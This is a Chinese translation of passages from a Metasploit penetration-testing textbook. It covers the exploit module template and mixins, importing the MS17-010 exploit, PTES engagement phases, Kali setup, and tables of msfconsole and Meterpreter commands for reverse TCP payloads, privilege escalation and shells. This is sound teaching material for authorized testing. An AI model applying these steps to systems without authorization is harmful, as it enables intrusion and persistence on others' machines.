在前面的示例中,我们可以访问源代码,并且我们知道变量缓冲区最多可以容纳 25 个字符。因此,为了引起缓冲区溢出,我们可以发送 30、40 或 50 个字符作为输入。然而,并非总是可能访问任何给定应用程序的源代码。因此,对于源代码不可用的应用程序,您如何确定应该发送多长的输入到特定参数,以便缓冲区溢出?这就是模糊器发挥作用的地方。模糊器是发送随机输入到目标应用程序中指定参数的小程序,并告知我们导致溢出和应用程序崩溃的输入的确切长度。
你知道吗?Metasploit 有用于模糊化各种协议的模糊器。这些模糊器是 Metasploit 框架中的辅助模块的一部分,可以在auxiliary/fuzzers/中找到。
漏洞利用模板和混合
假设您已经为一个新的零日漏洞编写了漏洞利用代码。现在,要将漏洞利用代码正式包含到 Metasploit 框架中,它必须以特定格式呈现。幸运的是,您只需要专注于实际的漏洞利用代码,然后简单地使用模板(由 Metasploit 框架提供)将其插入所需的格式中。Metasploit 框架提供了一个漏洞利用模块骨架,如下所示:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info={})
super(update_info(info,
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' =>
[
[ 'URL', '' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'System or software version',
{
'Ret' => 0x42424242 # This will be available in `target.ret`
}
]
],
'Payload' =>
{
'BadChars' => "\x00\x00"
},
'Privileged' => true,
'DisclosureDate' => "",
'DefaultTarget' => 1))
end
def check
# For the check command
end
def exploit
# Main function
end
end
现在,让我们试着理解前面的漏洞利用骨架中的各个字段:
-
名称字段:以供应商名称开头,然后是软件。根本原因字段指向发现错误的组件或功能,最后是模块正在利用的漏洞类型。
-
描述字段:此字段详细说明模块的功能、需要注意的事项和任何特定要求。目的是让用户清楚地了解他正在使用的内容,而无需实际查看模块的源代码。
-
作者字段:这是您插入姓名的地方。格式应为姓名。如果您想插入您的 Twitter 账号,只需将其作为注释留下,例如
姓名 #Twitterhandle。 -
参考字段:这是与漏洞或漏洞利用相关的参考数组,例如公告、博客文章等。有关参考标识符的更多详细信息,请访问
github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers -
平台字段:此字段指示漏洞利用代码将支持的所有平台,例如 Windows、Linux、BSD 和 Unix。
-
目标字段:这是一个系统、应用程序、设置或特定版本的数组,您的漏洞利用的目标。每个目标数组的第二个元素是您存储目标特定元数据的位置,例如特定偏移量、小工具、
ret地址等。当用户选择一个目标时,元数据将被加载并由目标索引跟踪,并可以使用目标方法检索。 -
有效载荷字段:此字段指定有效载荷应如何编码和生成。您可以指定 Space、SaveRegisters、Prepend、PrependEncoder、BadChars、Append、AppendEncoder、MaxNops、MinNops、Encoder、Nop、EncoderType、EncoderOptions、ExtendedOptions 和 EncoderDontFallThrough。
-
披露日期字段:此字段指定漏洞是在公开披露的日期,格式为 M D Y,例如,“2017 年 6 月 29 日”。
您的漏洞利用代码还应包括一个check方法,以支持check命令,但如果不可能的话,这是可选的。check命令将探测目标是否可利用漏洞。
最后,漏洞利用方法就像您的主要方法。从那里开始编写您的代码。
Metasploit 混合是什么?
如果你熟悉 C 和 Java 等编程语言,你一定听说过函数和类等术语。C 中的函数和 Java 中的类基本上都允许代码重用。这使得程序更加高效。Metasploit 框架是用 Ruby 语言编写的。因此,从 Ruby 语言的角度来看,mixin 只是一个简单的包含在类中的模块。这将使类能够访问此模块的所有方法。
因此,不需要深入了解编程细节,你只需记住 mixin 有助于模块化编程;例如,你可能想执行一些 TCP 操作,比如连接到远程端口并获取一些数据。现在,要执行这个任务,你可能需要编写相当多的代码。但是,如果你使用已有的 TCP mixin,你将节省写整个代码的工作!你只需包含 TCP mixin 并根据需要调用相应的函数。因此,你无需重新发明轮子,可以节省大量时间和精力。
你可以通过浏览/lib/msf/core/exploit目录来查看 Metasploit 框架中提供的各种 mixin,如下截图所示:
Metasploit 框架中最常用的一些 mixin 如下:
-
Exploit::Remote::Tcp:此 mixin 的代码位于lib/msf/core/exploit/tcp.rb,并提供以下方法和选项: -
TCP 选项和方法
-
定义 RHOST、RPORT 和 ConnectTimeout
-
connect()和disconnect() -
创建 self.sock 作为全局套接字
-
提供 SSL、代理、CPORT 和 CHOST
-
通过小段发送进行规避
-
将用户选项公开为
rhost()、rport()、ssl()等方法 -
Exploit::Remote::SMB:此 mixin 的代码是从 TCP mixin 继承而来,位于lib/msf/core/exploit/smb.rb,并提供以下方法和选项: -
smb_login() -
smb_create() -
smb_peer_os() -
提供了 SMBUser、SMBPass 和 SMBDomain 的选项
-
公开 IPS 规避方法,如
SMB::pipe_evasion、SMB::pad_data_level和SMB::file_data_level
向 Metasploit 添加外部利用
每天都会发现各种应用程序和产品中的新漏洞。对于大多数新发现的漏洞,也会公开相应的利用代码。现在,利用代码通常是原始格式的(就像 shellcode 一样),不能直接使用。此外,在利用正式作为 Metasploit 框架中的模块之前可能需要一些时间。但是,我们可以手动将外部利用模块添加到 Metasploit 框架中,并像任何其他现有的利用模块一样使用它。让我们以最近被 Wannacry 勒索软件使用的 MS17-010 漏洞为例。默认情况下,MS17-010 的利用代码在 Metasploit 框架中是不可用的。
让我们从利用数据库中下载 MS17-010 模块开始。
你知道吗?www.exploit-db.com上的 Exploit-DB 是获取各种平台、产品和应用程序的新利用的最值得信赖和最新的来源之一。
只需在任何浏览器中打开www.exploit-db.com/exploits/41891/,并下载利用代码,它是以ruby (.rb)格式显示的,如下截图所示:
一旦下载了利用的 Ruby 文件,我们需要将其复制到 Metasploit 框架目录中,路径如下截图所示:
截图中显示的路径是预装在 Kali Linux 上的 Metasploit 框架的默认路径。如果你有自定义安装的 Metasploit 框架,你需要更改路径。
将新下载的漏洞利用代码复制到 Metasploit 目录后,我们将启动msfconsole并发出reload_all命令,如下面的屏幕截图所示:
reload_all命令将刷新 Metasploit 的内部数据库,以包括新复制的外部漏洞利用代码。现在,我们可以像往常一样使用use exploit命令来设置和启动新的漏洞利用,如下面的屏幕截图所示。我们只需设置变量RHOSTS的值并启动利用:
摘要
在本章的总结中,您学习了各种漏洞利用开发概念,通过添加外部漏洞利用的各种方式扩展 Metasploit Framework,并介绍了 Metasploit 漏洞利用模板和混合功能。
练习
您可以尝试以下练习:
-
尝试探索以下内容的混合代码和相应功能:
-
捕获
-
Lorcon
-
MSSQL
-
KernelMode
-
FTP
-
FTP 服务器
-
EggHunter
-
在
www.exploit-db.com上找到目前不包含在 Metasploit Framework 中的任何漏洞利用。尝试下载并导入到 Metasploit Framework 中。
第十一章:使用 Metasploit 进行渗透测试
渗透测试是对基于计算机的系统的有意攻击,其目的是发现漏洞、安全弱点,并验证系统是否安全。渗透测试将向组织提供建议,告知其安全状况是否容易受到攻击,已实施的安全是否足以抵御任何入侵,可以绕过哪些安全控制等等。因此,渗透测试侧重于改善组织的安全状况。
成功进行渗透测试在很大程度上取决于使用正确的工具和技术。渗透测试人员必须选择正确的工具和方法来完成测试。在谈论渗透测试的最佳工具时,首先想到的是 Metasploit。它被认为是今天进行渗透测试的最有效的审计工具之一。Metasploit 提供了各种各样的利用、优秀的利用开发环境、信息收集和 Web 测试能力等等。
在从基础到精英级别介绍 Metasploit 的过程中,我们将坚持逐步方法,如下图所示:
本章将帮助您回顾渗透测试和 Metasploit 的基础知识,这将帮助您适应本书的节奏。
在本章中,您将学习以下主题:
-
渗透测试的各个阶段
-
Metasploit 框架的基础知识
-
Metasploit 利用和扫描模块的工作原理
-
使用 Metasploit 测试目标网络
-
使用数据库的好处
-
转向并深入内部网络
这里需要注意的一个重要点是,我们可能不会在一天内成为专业的渗透测试人员。这需要实践,熟悉工作环境,能够在关键情况下表现,最重要的是,了解我们如何在渗透测试的各个阶段之间循环。
当我们考虑在组织上进行渗透测试时,我们需要确保一切都设置正确,并符合渗透测试标准。因此,如果您觉得对渗透测试标准或术语渗透测试执行标准(PTES)不熟悉,请参考www.pentest-standard.org/index.php/PTES_Technical_Guidelines以更熟悉渗透测试和漏洞评估。根据 PTES,以下图解释了渗透测试的各个阶段:
请参考渗透测试标准网站,www.pentest-standard.org/index.php/Main_Page 设置硬件和系统化阶段,以便在设置工作环境时遵循。
组织渗透测试
在我们开始使用 Metasploit 进行复杂和复杂的攻击之前,让我们了解渗透测试的各个阶段,并看看如何在专业范围内组织渗透测试。
预交互
渗透测试的第一个阶段,预交互,涉及讨论关于在客户的组织、公司、学院或网络上进行渗透测试的关键因素,与客户本身进行讨论。这个阶段作为渗透测试人员、客户和他/她的需求之间的联系线。预交互帮助客户充分了解在他或她的网络/域或服务器上要执行的工作。
因此,测试人员将在这里充当客户的教育者。渗透测试人员还讨论测试范围,收集项目范围内所有领域的知识,以及在进行分析时可能需要的任何特殊要求。这些要求包括特殊权限,访问关键系统,网络或系统凭据等。项目的预期积极方面也应该在这个阶段与客户讨论。作为一个过程,预交互讨论以下一些关键点:
-
范围:本节审查项目的范围并估计项目的规模。范围还定义了测试的包含和排除内容。测试人员还讨论了范围内的 IP 范围和域以及测试类型(黑盒或白盒)。在白盒测试的情况下,测试人员还讨论了访问的种类和所需的凭据;测试人员还为管理员创建、收集和维护问卷。测试的时间表和持续时间,是否包括压力测试或不包括,以及付款都包括在范围内。一份一般的范围文件提供了以下问题的答案:
-
目标组织最重要的安全关注点是什么?
-
哪些特定主机、网络地址范围或应用程序应该被测试?
-
哪些特定主机、网络地址范围或应用程序明确不应该被测试?
-
是否有任何第三方拥有在范围内的系统或网络,并且他们持有哪些系统(目标组织必须事先获得书面许可)?
-
测试将在实时生产环境还是测试环境中进行?
-
渗透测试是否包括以下测试技术:网络范围的 ping 扫描、目标主机的端口扫描、目标的漏洞扫描、目标的渗透、应用程序级别的操纵、客户端 Java/ActiveX 反向工程、物理渗透尝试、社会工程?
-
渗透测试是否包括内部网络测试?如果是,如何获得访问权限?
-
客户/最终用户系统是否包含在范围内?如果是,将利用多少客户端?
-
是否允许社会工程?如果是,可能如何使用?
-
是否允许拒绝服务攻击?
-
是否允许危险检查/利用?
-
目标:本节讨论渗透测试设定的各种主要和次要目标。与目标相关的常见问题如下:
-
这次渗透测试的业务需求是什么?
-
测试是否是由监管审计要求的,还是只是标准程序?
-
目标是什么?
-
绘制漏洞地图
-
证明漏洞存在
-
测试事件响应
-
在网络、系统或应用程序中实际利用漏洞
-
以上所有内容
-
测试术语和定义:这个阶段讨论基本术语与客户,并帮助客户更好地理解这些术语
-
规则约定:本节定义测试时间、时间表、攻击权限和定期会议更新正在进行的测试的状态。与规则约定相关的常见问题如下:
-
您希望在什么时间进行这些测试?
-
在工作时间内
-
工作时间之后
-
周末时间
-
在系统维护窗口期间
-
这个测试将在生产环境中进行吗?
-
如果不应影响生产环境,是否存在可以用于进行渗透测试的类似环境(开发或测试系统)?
-
谁是技术联系人?
有关预交互的更多信息,请参阅:www.pentest-standard.org/index.php/File:Pre-engagement.png。
情报收集/侦察阶段
在情报收集阶段,您需要尽可能收集有关目标网络的信息。目标网络可能是一个网站、一个组织,或者可能是一个成熟的财富公司。最重要的是从社交媒体网络中收集有关目标的信息,并使用 Google Hacking(一种使用特定查询从 Google 中提取敏感信息的方法)来查找与待测试组织相关的机密和敏感信息。使用主动和被动攻击对组织进行足迹定位也是一种方法。
情报收集阶段是渗透测试中最关键的方面之一。对目标正确获得的知识将帮助测试人员模拟适当和准确的攻击,而不是尝试所有可能的攻击机制;它还将帮助测试人员节省相当多的时间。这个阶段将消耗测试总时间的 40%到 60%,因为获取对目标的访问主要取决于系统的足迹有多好。
渗透测试人员必须通过进行各种扫描来获取关于目标的充分了解,寻找开放端口、服务识别,并选择哪些服务可能存在漏洞以及如何利用它们进入所需的系统。
在这个阶段遵循的程序需要确定目标基础设施上当前部署的安全策略和机制,以及它们可以被规避到什么程度。
让我们用一个例子来讨论这个问题。考虑对一个客户要求进行网络压力测试的 Web 服务器进行黑盒测试。
在这里,我们将测试服务器,以检查服务器能够承受多少带宽和资源压力,或者简单来说,服务器如何响应拒绝服务(DoS)攻击。DoS 攻击或压力测试是指向服务器发送无限请求或数据的过程,以检查服务器是否能够成功处理和响应所有请求,或者导致 DoS 崩溃。如果目标服务容易受到特制请求或数据包的攻击,也可能发生 DoS。为了实现这一点,我们启动我们的网络压力测试工具,并向目标网站发起攻击。然而,启动攻击几秒钟后,我们发现服务器没有响应我们的浏览器,网站也无法打开。此外,一个页面显示网站目前处于离线状态。那么这意味着什么?我们成功地关闭了我们想要的网络服务器吗?没有!实际上,这是服务器管理员设置的一种保护机制的迹象,它察觉到我们恶意意图关闭服务器,因此导致我们的 IP 地址被禁止。因此,在发动攻击之前,我们必须收集正确的信息并确定目标处的各种安全服务。
更好的方法是从不同的 IP 范围测试 Web 服务器。也许保留两到三个不同的虚拟专用服务器进行测试是正确的方法。此外,我建议您在将这些攻击向真实目标发动之前,在虚拟环境中测试所有攻击向量。攻击向量的正确验证是强制性的,因为如果我们在攻击之前不验证攻击向量,可能会导致目标服务崩溃,这是不可取的。网络压力测试应该在参与或维护窗口的最后阶段进行。此外,向客户要求将用于测试的 IP 地址列入白名单始终是有帮助的。
现在,让我们看第二个例子。考虑对 Windows 2012 服务器进行黑盒测试。在扫描目标服务器时,我们发现端口80和端口8080是开放的。在端口80上,我们看到运行着最新版本的Internet Information Services (IIS),而在端口8080上,我们发现运行着易受远程代码执行漏洞影响的Rejetto HFS Server的脆弱版本。
然而,当我们尝试利用这个易受攻击的 HFS 版本时,攻击失败了。这种情况是防火墙阻止恶意入站流量的典型场景。
在这种情况下,我们可以简单地改变我们连接回服务器的方式,这将建立从目标回到我们系统的连接,而不是我们直接连接到服务器。这种改变可能会更成功,因为防火墙通常被配置为检查入站流量而不是出站流量。
作为一个过程,这个阶段可以分解为以下关键点:
-
目标选择: 选择要攻击的目标,确定攻击的目标和攻击的时间。
-
隐蔽收集: 这涉及从物理场所、使用的设备和垃圾箱中收集数据。这个阶段只是定位白盒测试的一部分。
-
足迹: 足迹包括主动或被动扫描,以识别目标上部署的各种技术和软件,包括端口扫描、横幅抓取等。
-
识别保护机制:这涉及识别防火墙、过滤系统、基于网络和主机的保护等。
有关情报收集的更多信息,请参阅:www.pentest-standard.org/index.php/Intelligence_Gathering。
威胁建模
威胁建模有助于进行全面的渗透测试。这个阶段侧重于对真实威胁的建模,它们的影响以及基于它们可能造成的影响进行分类。根据情报收集阶段的分析,我们可以建模出最佳的攻击向量。威胁建模适用于业务资产分析、流程分析、威胁分析和威胁能力分析。这个阶段回答以下一系列问题:
-
我们如何攻击特定网络?
-
我们需要获得对哪些关键部分的访问权限?
-
哪种方法最适合攻击?
-
最高评级的威胁是什么?
建模威胁将帮助渗透测试人员执行以下一系列操作:
-
收集关于高级威胁的相关文档
-
根据分类基础确定组织的资产
-
识别和分类风险
-
将威胁映射到公司的资产
建模威胁将有助于定义具有风险的最高优先级资产。
考虑对公司网站进行黑盒测试。在这里,关于公司客户的信息是主要资产。在同一后端的不同数据库中,也可能存储了交易记录。在这种情况下,攻击者可以利用 SQL 注入的威胁跨越到交易记录数据库。因此,交易记录是次要资产。通过了解影响,我们可以将 SQL 注入攻击的风险映射到资产上。
漏洞扫描器如Nexpose和 Metasploit 的专业版可以通过自动化方法精确快速地建模威胁。因此,在进行广泛测试时,它可能会很有用。
有关威胁建模阶段涉及的流程的更多信息,请参阅:www.pentest-standard.org/index.php/Threat_Modeling。
漏洞分析
漏洞分析是发现系统或应用程序中缺陷的过程。这些缺陷可以从服务器到 Web 应用程序,从不安全的应用程序设计到易受攻击的数据库服务,从基于 VOIP 的服务器到基于 SCADA 的服务。这个阶段包含三种不同的机制,即测试、验证和研究。测试包括主动和被动测试。验证包括删除错误的阳性结果,并通过手动验证确认漏洞的存在。研究是指验证发现的漏洞并触发它以证明其存在。
有关威胁建模阶段涉及的过程的更多信息,请参阅:www.pentest-standard.org/index.php/Vulnerability_Analysis。
利用和后渗透
利用阶段涉及利用先前发现的漏洞。这个阶段是实际的攻击阶段。在这个阶段,渗透测试人员在系统的目标漏洞上启动利用程序以获取访问权限。这个阶段在整本书中都有详细介绍。
后渗透阶段是利用的后阶段。这个阶段涵盖了我们可以在被利用的系统上执行的各种任务,如提升权限、上传/下载文件、枢纽等。
有关利用阶段涉及的过程的更多信息,请参阅:www.pentest-standard.org/index.php/Exploitation。
有关后渗透的更多信息,请参阅www.pentest-standard.org/index.php/Post_Exploitation。
报告
在进行渗透测试时,创建整个渗透测试的正式报告是最后一个阶段。识别关键漏洞、创建图表和图形、建议和提出修复措施是渗透测试报告的重要部分。整本书的后半部分都专门讨论了报告。
有关威胁建模阶段涉及的过程的更多信息,请参阅:www.pentest-standard.org/index.php/Reporting。
搭建环境
成功的渗透测试在很大程度上取决于您的工作环境和实验室的配置。此外,成功的测试回答以下一系列问题:
-
你的测试实验室配置得如何?
-
所有测试所需的工具都齐全吗?
-
你的硬件支持这些工具有多好?
在我们开始测试任何东西之前,我们必须确保所有所需的工具集都可用并已更新。
在虚拟环境中设置 Kali Linux
在使用 Metasploit 之前,我们需要有一个测试实验室。建立测试实验室的最佳方法是收集不同的机器并在它们上安装不同的操作系统。然而,如果我们只有一个设备,最好的方法是建立一个虚拟环境。
虚拟化在今天的渗透测试中扮演着重要的角色。由于硬件成本高昂,虚拟化在渗透测试中起到了节约成本的作用。在主机操作系统下模拟不同的操作系统不仅可以节省金钱,还可以节省电力和空间。然而,建立一个虚拟渗透测试实验室可以防止对实际主机系统的任何修改,并允许我们在隔离的环境中执行操作。虚拟网络使网络利用在隔离的网络中运行,从而防止对主机系统的任何修改或使用网络硬件。
此外,虚拟化的快照功能有助于在特定时间点保留虚拟机的状态。这个功能非常有帮助,因为我们可以在测试虚拟环境时比较或重新加载操作系统的先前状态,而无需在攻击模拟后修改文件的情况下重新安装整个软件。
虚拟化期望主机系统具有足够的硬件资源,如 RAM、处理能力、驱动器空间等,以便顺利运行。
有关快照的更多信息,请参阅:www.virtualbox.org/manual/ch01.html#snapshots。
因此,让我们看看如何使用 Kali 操作系统创建虚拟环境(这是渗透测试中最受欢迎的操作系统,其中默认包含 Metasploit 框架)。
您可以随时在此处下载 Kali Linux 的预构建 VMware 和 VirtualBox 映像:www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/。
要创建虚拟环境,我们需要虚拟机软件。我们可以使用两种最流行的虚拟机软件之一:VirtualBox 和 VMware Workstation Player。因此,让我们通过执行以下步骤开始安装:
-
下载 VMware Workstation Player(
my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/14_0)并为您的机器架构设置它。 -
运行设置并完成安装。
-
下载最新的 Kali VM 映像(
images.offensive-security.com/virtual-images/kali-linux-2017.3-vm-amd64.ova) -
运行 VM Player 程序,如下截图所示:
-
接下来,转到“Player”选项卡,然后选择“文件”|“打开”。
-
浏览到提取的 Kali Linux 的
*.ova文件并单击“打开”。我们将看到以下屏幕:
-
选择任何名称并选择存储路径(我更喜欢在具有最大可用空间的驱动器上创建一个单独的文件夹),然后单击“导入”。
-
导入可能需要一些时间。请耐心等待,同时听听您喜欢的音乐。
-
成功导入后,我们可以在虚拟机列表中看到新添加的虚拟机,如下截图所示:
-
接下来,我们只需要启动操作系统。好消息是,预安装的 Kali Linux 的 VMware 映像随附有 VMware Tools,这使得诸如拖放、挂载共享文件夹等功能可以随时使用。
-
Kali Linux 的默认凭据是
root:toor,其中root是用户名,toor是密码。 -
让我们快速打开一个终端并初始化和启动 Metasploit 数据库,如下截图所示:
- 通过发出
msfconsole命令来开始 Metasploit 框架,如下截图所示:
有关 Kali Linux 的完整持久安装指南,请参阅:docs.kali.org/category/installation。
要在 Linux 中通过命令行安装 Metasploit,请参阅:www.darkoperator.com/installing-metasploit-in-ubunt/。
要在 Windows 上安装 Metasploit,请参考这里的优秀指南:www.packtpub.com/mapt/book/networking_and_servers/9781788295970/2/ch02lvl1sec20/installing-metasploit-on-windows。
Metasploit 的基础知识
自从我们回顾了渗透测试的基本阶段并完成了 Kali Linux 的设置,让我们谈谈大局;也就是 Metasploit。Metasploit 是一个安全项目,提供了漏洞利用和大量的侦察功能,以帮助渗透测试人员。Metasploit 是由 H.D. Moore 于 2003 年创建的,自那时以来,其快速发展使其被认为是最受欢迎的渗透测试工具之一。Metasploit 完全是一个由 Ruby 驱动的项目,提供了许多漏洞利用、有效载荷、编码技术和大量的后渗透功能。
Metasploit 有各种版本,如下:
-
Metasploit Pro:这个版本是商业版,提供了大量出色的功能,如 Web 应用程序扫描、利用、自动利用,非常适合专业的渗透测试人员和 IT 安全团队。Pro 版主要用于专业、高级和大型渗透测试以及企业安全项目。
-
Metasploit Express:express 版本用于基线渗透测试。这个版本的 Metasploit 包括智能利用、自动暴力破解凭据等功能。这个版本非常适合中小型公司的 IT 安全团队。
-
Metasploit 社区:这是一个免费版本,功能较 express 版本有所减少。然而,对于学生和小型企业来说,这个版本是一个有利的选择。
-
Metasploit 框架:这是一个命令行版本,包括所有手动任务,如手动利用、第三方导入等。这个版本适合开发人员和安全研究人员。
在本书中,我们将使用 Metasploit 社区和框架版本。Metasploit 还提供各种类型的用户界面,如下:
-
图形用户界面:GUI 具有所有选项,只需点击按钮即可使用。该界面提供了用户友好的界面,有助于提供更清洁的漏洞管理。
-
控制台界面:这是首选界面,也是最受欢迎的界面。这个界面提供了 Metasploit 提供的所有选项的一体化方法。这个界面也被认为是最稳定的界面。在本书中,我们将最常使用控制台界面。
-
命令行界面:命令行界面是最强大的界面。它支持启动利用活动,如有效载荷生成。然而,在使用命令行界面时记住每个命令是一项困难的工作。
-
Armitage:Raphael Mudge 的 Armitage 为 Metasploit 添加了一个酷炫的黑客风格的 GUI 界面。Armitage 提供了易于管理的漏洞管理、内置 NMAP 扫描、利用建议以及使用 Cortana 脚本语言自动化功能的能力。本书的后半部分专门介绍了 Armitage 和 Cortana。
有关 Metasploit 社区的更多信息,请参阅:blog.rapid7.com/2011/12/21/metasploit-tutorial-an-introduction-to-metasploit-community/。
使用 Metasploit 进行渗透测试
在设置好 Kali Linux 之后,我们现在准备使用 Metasploit 进行第一次渗透测试。然而,在开始测试之前,让我们回顾一些 Metasploit 框架中使用的基本功能和术语。
回顾 Metasploit 的基础知识
在运行 Metasploit 之后,我们可以在 Metasploit 控制台中键入 help 或?来列出框架中所有可用的有用命令。让我们回顾一下 Metasploit 中使用的基本术语,如下所示:
-
利用: 这是一段代码,当执行时,将利用目标的漏洞。
-
有效载荷: 这是在成功利用后在目标上运行的代码。它定义了我们想要在目标系统上执行的操作。
-
辅助: 这些是提供额外功能的模块,如扫描、模糊测试、嗅探等。
-
编码器: 编码器用于混淆模块,以避免被防病毒软件或防火墙等保护机制检测到。
-
Meterpreter: Meterpreter 是一种使用内存 DLL 注入分段器的有效载荷。它提供了各种功能,可在目标上执行,这使其成为一个受欢迎的选择。
现在,让我们回顾一些我们将在本章中使用的 Metasploit 的基本命令。让我们看看它们应该做什么:
| 命令 | 用法 | 示例 |
|---|---|---|
use [Auxiliary/Exploit/Payload/Encoder] | 选择要开始使用的特定模块 | msf>use exploit/unix/ftp/vsftpd_234_backdoor msf>use auxiliary/scanner/portscan/tcp |
show [exploits/payloads/encoder/auxiliary/options] | 查看特定类型的可用模块列表 | msf>show payloads msf> show options |
set [options/payload] | 为特定对象设置值 | msf>set payload windows/meterpreter/reverse_tcp msf>set LHOST 192.168.10.118 msf> set RHOST 192.168.10.112 msf> set LPORT 4444 msf> set RPORT 8080 |
setg [options/payload] | 全局设置特定对象的值,因此在模块切换时值不会改变 | msf>setg RHOST 192.168.10.112 |
run | 在设置所有必需的选项后启动辅助模块 | msf>run |
exploit | 启动一个利用 | msf>exploit |
back | 取消选择模块并返回 | msf(ms08_067_netapi)>back msf> |
Info | 列出与特定漏洞/模块/辅助相关的信息 | msf>info exploit/windows/smb/ms08_067_netapi msf(ms08_067_netapi)>info |
Search | 查找特定模块 | msf>search hfs |
check | 检查特定目标是否容易受到攻击 | msf>check |
Sessions | 列出可用的会话 | msf>sessions [session number] |
让我们来看看基本的 Meterpreter 命令:
| Meterpreter 命令 | 用法 | 示例 |
|---|---|---|
sysinfo | 列出受损主机的系统信息 | meterpreter>sysinfo |
ifconfig | 列出受损主机上的网络接口 | meterpreter>ifconfig meterpreter>ipconfig (Windows) |
arp | 列出连接到目标的主机的 IP 和 MAC 地址 | meterpreter>arp |
background | 将活动会话发送到后台 | meterpreter>background |
shell | 在目标上放置一个 cmd shell | meterpreter>shell |
getuid | 获取当前用户的详细信息 | meterpreter>getuid |
getsystem | 提升权限并获得 SYSTEM 访问权限 | meterpreter>getsystem |
getpid | 获取 meterpreter 访问的进程 ID | meterpreter>getpid |
ps | 列出目标上运行的所有进程 | meterpreter>ps |
既然我们现在回顾了 Metasploit 命令的基础知识,让我们在下一节看看使用 Metasploit 相对于传统工具和脚本的好处。
如果您是第一次使用 Metasploit,请参考www.offensive-security.com/metasploit-unleashed/msfconsole-commands/获取有关基本命令的更多信息。
使用 Metasploit 进行渗透测试的好处
在我们深入研究一个未知网络之前,我们必须知道为什么我们更喜欢 Metasploit 而不是手动利用技术。这是因为它给人一种黑客般的终端外观,还是有其他原因?与传统的手动技术相比,Metasploit 是一个更可取的选择,因为它具有以下几个方面的特点。
开源
选择 Metasploit 框架的首要原因之一是因为它是开源的,并且在积极开发中。还有其他一些高薪工具用于进行渗透测试。然而,Metasploit 允许用户访问其源代码并添加自定义模块。Metasploit 的专业版是收费的,但出于学习的目的,大多数人更喜欢社区版。
支持测试大型网络和自然的命名约定
使用 Metasploit 很容易。然而,在这里,易用性指的是命令的自然命名约定。Metasploit 在进行大规模网络渗透测试时提供了极大的便利。考虑一个情景,我们需要测试一个拥有 200 台系统的网络。与其逐个检查每个系统,不如使用 Metasploit 自动检查整个范围。使用子网和 CIDR 值等参数,Metasploit 测试所有系统以利用漏洞,而使用手动技术,我们可能需要手动对 200 台系统启动 exploit。因此,Metasploit 节省了大量的时间和精力。
智能负载生成和切换机制
最重要的是,在 Metasploit 中切换负载很容易。Metasploit 提供了使用 set payload 命令快速更改负载的途径。因此,将 Meterpreter 或基于 shell 的访问转换为更具体的操作,比如添加用户和获取远程桌面访问,变得容易。通过使用命令行中的 msfvenom 应用程序,生成用于手动利用的 shellcode 也变得容易。
更干净的退出
Metasploit 也负责从其 compromise 的系统中更干净地退出。另一方面,自定义编码的 exploit 在退出操作时可能会导致系统崩溃。在我们知道服务不会立即重新启动的情况下,干净地退出确实是一个重要因素。
考虑一个情景,我们已经 compromise 了一个 web 服务器,当我们准备离开时,被攻击的应用程序崩溃了。服务器的预定维护时间还剩下 50 天。那么,我们该怎么办?难道要等待接下来的 50 天,等服务再次上线,这样我们才能再次利用它吗?而且,如果服务在被修补后再次上线呢?我们可能会后悔莫及。这也显示了测试技能不足的明显迹象。因此,更好的方法是使用 Metasploit 框架,它以更干净的方式退出,并提供大量的后渗透功能,比如持久性,可以帮助保持对服务器的永久访问。
GUI 环境
Metasploit 提供友好的 GUI 和第三方接口,比如 Armitage。这些接口通过提供易于切换的工作空间、即时漏洞管理和一键功能来简化渗透测试项目。我们将在本书的后面章节更多地讨论这些环境。
案例研究 - 深入研究未知网络
回顾 Metasploit 的基础知识,我们已经准备好使用 Metasploit 进行第一次渗透测试。考虑一个现场场景,我们被要求测试一个 IP 地址并检查它是否容易受到攻击。这次测试的唯一目的是确保所有适当的检查是否已经就位。情景非常简单。我们假设所有的前期交互都已经与客户完成,并且实际的测试阶段即将开始。
如果您想在阅读案例研究的同时进行实际操作,请参考重新访问案例研究部分,因为这将帮助您模拟具有精确配置和网络详细信息的整个案例研究。
情报收集
正如前面讨论的,情报收集阶段围绕着尽可能收集有关目标的信息。这包括进行主动和被动扫描,其中包括端口扫描、横幅抓取和各种其他扫描。当前情景下的目标是一个单个 IP 地址,所以在这里,我们可以跳过收集被动信息,只能继续使用主动信息收集方法。
让我们从足迹识别阶段开始,其中包括端口扫描、横幅抓取、ping 扫描以检查系统是否存活以及服务检测扫描。
进行足迹识别和扫描时,Nmap 被证明是可用的最好工具之一。Nmap 生成的报告可以轻松导入 Metasploit。然而,Metasploit 具有内置的 Nmap 功能,可以用于从 Metasploit 框架控制台执行 Nmap 扫描并将结果存储在数据库中。
有关 Nmap 扫描的更多信息,请参考nmap.org/bennieston-tutorial/。
请参考一本关于 Nmap 的优秀书籍:www.packtpub.com/networking-and-servers/nmap-6-network-exploration-and-security-auditing-cookbook。
在 Metasploit 中使用数据库
在进行渗透测试时,自动存储结果总是更好的方法。使用数据库将帮助我们建立主机、服务和渗透测试范围内的漏洞的知识库。为了实现这个功能,我们可以在 Metasploit 中使用数据库。将数据库连接到 Metasploit 还可以加快搜索速度并提高响应时间。下面的截图显示了当数据库未连接时的搜索:
我们在安装阶段看到了如何初始化 Metasploit 数据库并启动它。要检查 Metasploit 当前是否连接到数据库,我们只需输入db_status命令,如下面的截图所示:
可能会出现我们想要连接到一个单独的数据库而不是默认的 Metasploit 数据库的情况。在这种情况下,我们可以使用db_connect命令,如下面的截图所示:
要连接到数据库,我们需要提供用户名、密码和端口以及db_connect命令的数据库名称。
让我们看看其他核心数据库命令应该做什么。下表将帮助我们理解这些数据库命令:
| 命令 | 用法信息 |
|---|---|
db_connect | 该命令用于与默认数据库以外的其他数据库进行交互 |
db_export | 该命令用于导出数据库中存储的整套数据,以便创建报告或作为另一个工具的输入 |
db_nmap | 该命令用于使用 Nmap 扫描目标,并将结果存储在 Metasploit 数据库中 |
db_status | 该命令用于检查数据库连接是否存在 |
db_disconnect | 该命令用于断开与特定数据库的连接 |
db_import | 该命令用于从 Nessus、Nmap 等其他工具导入结果 |
